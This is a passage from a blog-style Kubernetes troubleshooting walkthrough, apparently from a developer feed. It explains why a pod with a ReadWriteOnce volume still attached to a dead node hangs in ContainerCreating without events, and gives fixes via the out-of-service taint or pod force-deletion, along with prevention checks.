<p><code class="language-plaintext highlighter-rouge">wait.Interrupted</code> returns true for <code class="language-plaintext highlighter-rouge">errWaitTimeout</code>, <code class="language-plaintext highlighter-rouge">context.Canceled</code>, and <code class="language-plaintext highlighter-rouge">context.DeadlineExceeded</code>, and <code class="language-plaintext highlighter-rouge">errors.Is</code> unwraps the <code class="language-plaintext highlighter-rouge">%w</code> above — so a mount wait that simply ran out of clock emits <strong>no</strong> <code class="language-plaintext highlighter-rouge">FailedMount</code> event and <strong>no</strong> error log. This guard has been in the kubelet since 1.28; before that (1.27 and earlier) the event fired unconditionally, which is why every older Stack Overflow answer for this symptom quotes an <code class="language-plaintext highlighter-rouge">Unable to attach or mount volumes: ... timed out waiting for the condition</code> event that your cluster will never print.</p>

<p>A <em>mount</em> failure still shouts, because <code class="language-plaintext highlighter-rouge">verifyVolumesMountedFunc</code> pops real errors out of the desired-state cache and returns them as a non-timeout error. It is specifically the “attach never even started” case that is silent.</p>

<pre><code class="language-mermaid">sequenceDiagram
    autonumber
    participant RS as replicaset-controller
    participant ADC as attach-detach-controller
    participant EA as external-attacher
    participant KL as kubelet on node-b
    Note over ADC: node-a is NotReady — old pod still has spec.nodeName node-a&lt;br/&gt;so its volume is still DESIRED there. Detach is never requested.
    RS-&gt;&gt;KL: new pod bound to node-b, wants pvc-8e2b1f04 as volume data
    ADC-&gt;&gt;ADC: IsMultiAttachAllowed false for ReadWriteOnce
    ADC-&gt;&gt;ADC: GetNodesForAttachedVolume returns node-a
    ADC--&gt;&gt;KL: FailedAttachVolume — Multi-Attach error — emitted ONCE
    Note over ADC,EA: no VolumeAttachment for node-b&lt;br/&gt;ControllerPublishVolume never called
    loop every 300ms, up to 2m3s
        KL-&gt;&gt;KL: verifyVolumesMountedFunc — data not in actual state
    end
    KL--xKL: unattached volumes=[data] — wait.Interrupted true&lt;br/&gt;so NO FailedMount event and NO error log
    Note over KL: pod stays in ContainerCreating&lt;br/&gt;describe shows nothing new, forever
</code></pre>

<h2 id="the-fix">The fix</h2>

<p>Two things have to happen: the dead node’s claim on the volume has to be released, and the orphaned pod object has to stop counting as a live consumer.</p>

<h3 id="option-a--taint-the-dead-node-out-of-service-ship-this">Option A — taint the dead node out of service (ship this)</h3>

<p><code class="language-plaintext highlighter-rouge">NodeOutOfServiceVolumeDetach</code> is stable and on by default since Kubernetes 1.28. Applying the taint tells the control plane that the node is genuinely gone, not just unreachable — pods on it are force-deleted and their volumes force-detached without waiting.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Only ever do this on a node you have CONFIRMED is powered off.</span>
<span class="c"># The taint tells Kubernetes "nothing is running here" — if the kubelet is</span>
<span class="c"># actually alive, you are authorising a second writer on an RWO volume.</span>
kubectl taint node node-a node.kubernetes.io/out-of-service<span class="o">=</span>nodeshutdown:NoExecute
</code></pre></div></div>

<p>Within a few seconds the <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> for <code class="language-plaintext highlighter-rouge">node-a</code> disappears, the attach-detach controller creates one for <code class="language-plaintext highlighter-rouge">node-b</code>, <code class="language-plaintext highlighter-rouge">external-attacher</code> calls <code class="language-plaintext highlighter-rouge">ControllerPublishVolume</code>, and the kubelet’s next 300ms poll finds the volume and mounts it. Remove the taint if the node ever comes back.</p>

<h3 id="option-b--force-delete-the-orphaned-pod">Option B — force-delete the orphaned pod</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl delete pod grafana-7d9f5c-abcde <span class="nt">--force</span> <span class="nt">--grace-period</span><span class="o">=</span>0
</code></pre></div></div>

<p>This removes the pod from the controller’s desired state, so detach is finally <em>requested</em>. But <code class="language-plaintext highlighter-rouge">node-a</code> still lists the volume in <code class="language-plaintext highlighter-rouge">status.volumesInUse</code> and no kubelet is alive to clear it, so the controller treats the volume as “not safe to detach” and waits <code class="language-plaintext highlighter-rouge">ReconcilerMaxWaitForUnmountDuration</code> — a hardcoded <strong>6 minutes</strong> in <code class="language-plaintext highlighter-rouge">DefaultTimerConfig</code> — before force-detaching anyway. Expect roughly six more minutes of <code class="language-plaintext highlighter-rouge">ContainerCreating</code>, not an instant fix. (If your cluster runs kube-controller-manager with <code class="language-plaintext highlighter-rouge">--disable-force-detach-on-timeout=true</code>, which defaults to <code class="language-plaintext highlighter-rouge">false</code>, this option never completes at all and Option A is mandatory.)</p>

<p>The genuinely correct long-term answer is neither: let the node object be <em>deleted</em> rather than left NotReady. Cluster Autoscaler, GKE/EKS node auto-repair, and Cluster API all delete the <code class="language-plaintext highlighter-rouge">Node</code> on termination, which drops it from the actual state of world and releases the attachment with no human in the loop. A cluster that leaves dead <code class="language-plaintext highlighter-rouge">Node</code> objects lying around will hit this every time an instance is reclaimed.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Check <code class="language-plaintext highlighter-rouge">unattached</code> before <code class="language-plaintext highlighter-rouge">unmounted</code>, every time.</strong> Pull the kubelet’s own view rather than guessing: <code class="language-plaintext highlighter-rouge">kubectl get pod &lt;name&gt; -o jsonpath='{.spec.volumes[*].name}'</code> then compare against <code class="language-plaintext highlighter-rouge">kubectl get volumeattachments | grep &lt;pv-name&gt;</code>. If there is no <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> for the pod’s node, stop reading node logs — the problem is in kube-controller-manager.</p>
  </li>
  <li>
    <p><strong>The same deadlock happens with zero node failures, during an ordinary rolling update.</strong> A <code class="language-plaintext highlighter-rouge">replicas: 1</code> Deployment with an RWO PVC defaults to <code class="language-plaintext highlighter-rouge">maxSurge: 25%</code> (rounds <em>up</em> to 1) and <code class="language-plaintext highlighter-rouge">maxUnavailable: 25%</code> (rounds <em>down</em> to 0), so the new pod is created on a different node <em>before</em> the old one is deleted, and multi-attaches against itself forever. The fix is <code class="language-plaintext highlighter-rouge">strategy: { type: Recreate }</code> on any Deployment holding a ReadWriteOnce volume — treat that as a lint rule, not a debugging step.</p>
  </li>
  <li>
    <p><strong>Alert on <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> objects whose node is not <code class="language-plaintext highlighter-rouge">Ready</code>.</strong> This is a cheap, high-signal check that no default dashboard performs: join <code class="language-plaintext highlighter-rouge">kubectl get volumeattachments -o json</code> against the node list and page on any attachment pointing at a NotReady or nonexistent node. It fires before the next pod reschedule turns it into an outage.</p>
  </li>
  <li>
    <p><strong>Verify <code class="language-plaintext highlighter-rouge">attachRequired</code> on your CSIDriver object.</strong> <code class="language-plaintext highlighter-rouge">attachRequired</code> defaults to <code class="language-plaintext highlighter-rouge">true</code> when the field is omitted <em>or when no CSIDriver object exists at all</em>. Drivers that do not implement <code class="language-plaintext highlighter-rouge">ControllerPublishVolume</code> (many file/NFS-backed drivers) but ship without a CSIDriver object make every pod wait on an attach phase that will never complete — the same silent 2m3s timeout, from a completely different cause.</p>
  </li>
  <li>
    <p><strong>Watch for the event text changing under you.</strong> The <code class="language-plaintext highlighter-rouge">Multi-Attach error</code> prefix is what Kubernetes 1.34 and earlier emit; it has since been reworded on the main branch to <code class="language-plaintext highlighter-rouge">Waiting for detach</code>. Grep your alerting rules for the PV name and the <code class="language-plaintext highlighter-rouge">FailedAttachVolume</code> <em>reason</em>, which are stable, not the human-readable prefix, which is not.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every Deployment that mounts a <code class="language-plaintext highlighter-rouge">ReadWriteOnce</code> PVC sets <code class="language-plaintext highlighter-rouge">strategy.type: Recreate</code>, so <code class="language-plaintext highlighter-rouge">maxSurge: 1</code> can never place two pods on two nodes against one volume</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Dead nodes are <em>deleted</em>, not left NotReady — autoscaler or node-auto-repair owns the <code class="language-plaintext highlighter-rouge">Node</code> object lifecycle</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The runbook for a stuck <code class="language-plaintext highlighter-rouge">ContainerCreating</code> starts with <code class="language-plaintext highlighter-rouge">kubectl get volumeattachments</code>, not with kubelet logs</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">node.kubernetes.io/out-of-service=nodeshutdown:NoExecute</code> is a documented, gated runbook step with an explicit “confirm the machine is powered off first” gate</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />kube-controller-manager’s <code class="language-plaintext highlighter-rouge">--disable-force-detach-on-timeout</code> value is known and recorded — the 6-minute <code class="language-plaintext highlighter-rouge">ReconcilerMaxWaitForUnmountDuration</code> fallback either exists or it does not, and that changes the runbook</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Why did <code class="language-plaintext highlighter-rouge">kubectl describe pod</code> show me nothing when other stuck pods always show repeating warnings?</strong>
Two separate suppressions stack. The attach-detach controller emits its <code class="language-plaintext highlighter-rouge">FailedAttachVolume</code> warning exactly once per volume — it sets <code class="language-plaintext highlighter-rouge">MultiAttachErrorReported</code> immediately afterwards to prevent a repeat — and the kubelet skips its <code class="language-plaintext highlighter-rouge">FailedMount</code> event entirely when the mount wait ends in a timeout, because <code class="language-plaintext highlighter-rouge">wait.Interrupted(err)</code> is true for a poll deadline. Nothing is broken about your event pipeline.</p>

<p><strong>The pod started fine on this exact node yesterday. What changed?</strong>
Nothing about the node. The pod’s <em>volume</em> is what moved, or rather failed to move. Attach is a cluster-level operation keyed on the PV and the target node, so the node’s own health tells you nothing about whether a given volume can be attached to it. That is precisely why the other pods on the node start in seconds: they do not want that PV.</p>

<p><strong>Would increasing a timeout have helped?</strong>
No. <code class="language-plaintext highlighter-rouge">podAttachAndMountTimeout</code> is a hardcoded <code class="language-plaintext highlighter-rouge">2*time.Minute + 3*time.Second</code> in the kubelet’s volume manager — there is no flag for it — and the kubelet retries the whole sync loop afterwards anyway, which is why the pod sits there for twelve minutes rather than failing at two. Waiting longer does not create a <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> that nothing has requested.</p>

<p><strong>Is this specific to CSI, or does it happen with in-tree volume plugins too?</strong>
The <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> object and the <code class="language-plaintext highlighter-rouge">external-attacher</code> sidecar are CSI-specific, but the attach/detach split and the multi-attach guard live in the generic attach-detach controller and predate CSI. Since the in-tree AWS/GCE/Azure disk plugins are all CSI-migrated now, in practice every cluster hits the CSI code path — but the “attach is a controller job, mount is a kubelet job” split is the durable idea.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> A pod sits in <code class="language-plaintext highlighter-rouge">ContainerCreating</code> for 10+ minutes with a single stale event, while other pods on the same node start normally</li>
  <li><strong>Domain:</strong> kubernetes</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go">kubernetes/kubernetes — <code class="language-plaintext highlighter-rouge">pkg/controller/volume/attachdetach/reconciler/reconciler.go</code></a> — <code class="language-plaintext highlighter-rouge">attachDesiredVolumes</code> and <code class="language-plaintext highlighter-rouge">reportMultiAttachError</code>, including the once-only <code class="language-plaintext highlighter-rouge">MultiAttachErrorReported</code> guard</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/volume_manager.go">kubernetes/kubernetes — <code class="language-plaintext highlighter-rouge">pkg/kubelet/volumemanager/volume_manager.go</code></a> — <code class="language-plaintext highlighter-rouge">podAttachAndMountTimeout</code> of <code class="language-plaintext highlighter-rouge">2*time.Minute + 3*time.Second</code> and the <code class="language-plaintext highlighter-rouge">unmounted volumes=</code> / <code class="language-plaintext highlighter-rouge">unattached volumes=</code> error format</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go">kubernetes/kubernetes — <code class="language-plaintext highlighter-rouge">pkg/kubelet/kubelet.go</code></a> — the <code class="language-plaintext highlighter-rouge">if !wait.Interrupted(err)</code> guard that suppresses the <code class="language-plaintext highlighter-rouge">FailedMount</code> event on a timeout</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/attach_detach_controller.go">kubernetes/kubernetes — <code class="language-plaintext highlighter-rouge">pkg/controller/volume/attachdetach/attach_detach_controller.go</code></a> — <code class="language-plaintext highlighter-rouge">DefaultTimerConfig</code> with <code class="language-plaintext highlighter-rouge">ReconcilerMaxWaitForUnmountDuration: 6 * time.Minute</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/kubernetes-csi/external-attacher">kubernetes-csi/external-attacher</a> — the sidecar that watches <code class="language-plaintext highlighter-rouge">VolumeAttachment</code> objects and issues <code class="language-plaintext highlighter-rouge">ControllerPublishVolume</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://kubernetes.io/docs/concepts/cluster-administration/node-shutdown/">Kubernetes docs — Non-Graceful Node Shutdown</a> — the <code class="language-plaintext highlighter-rouge">node.kubernetes.io/out-of-service:NoExecute</code> taint and <code class="language-plaintext highlighter-rouge">NodeOutOfServiceVolumeDetach</code>, stable since v1.28</li>
</ul>]]></content><author><name>Mayur</name></author><category term="kubernetes" /><category term="kubernetes" /><category term="troubleshooting" /><category term="debugging" /><category term="csi" /><category term="storage" /><category term="kubelet" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: one pod sits in ContainerCreating for twelve minutes while every other pod scheduled to the same node starts in seconds. The root cause is a ReadWriteOnce volume still attached to a dead node, so the attach-detach controller never creates a VolumeAttachment for the new node and the kubelet's mount wait silently times out. Trace the fix through kubectl get volumeattachments, the kubelet's unattached-versus-unmounted volume lists, and the out-of-service taint.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/k8s-pod-stuck-containercreating.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/k8s-pod-stuck-containercreating.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>